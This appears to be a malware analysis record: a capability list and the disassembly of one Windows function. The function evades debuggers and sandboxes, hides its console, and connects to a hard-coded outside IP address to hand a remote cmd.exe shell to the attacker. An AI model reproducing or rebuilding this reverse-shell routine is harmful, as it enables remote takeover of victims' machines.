Function at 0x140001000
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000124f
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAllocExNuma
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x3e8
call rbx
test rax, rax
je 0x14000124f
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xb0], 2
jb 0x14000124f
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x58]
shr rax, 0x1e
cmp eax, 2
jb 0x14000124f
mov ecx, 0x1f400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001243
xor edx, edx
mov r8d, 0x1f400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [0x140005690]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x63dd
mov word [0x140005898], bx
mov qword [0x140005688], rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.159.65.81.255
mov word [0x14000589a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140005688]
lea rdx, [0x140005898]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov dword [0x14000589c], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140005688]
lea rdx, str.cmd.exe
xorps xmm0, xmm0
mov qword [0x140005890], rax
movups xmmword [0x140005880], xmm0
mov qword [0x140005888], rax
xor r9d, r9d
mov qword [0x140005880], rax
xor r8d, r8d
lea rax, [0x140005670]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [0x140005830]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
movups xmmword [0x140005830], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [0x140005860], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [0x140005870], xmm0
mov dword [0x140005830], 0x68
movups xmmword [0x140005840], xmm0
mov dword [0x14000586c], 0x101
movups xmmword [0x140005850], xmm0
mov word [0x140005870], di
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]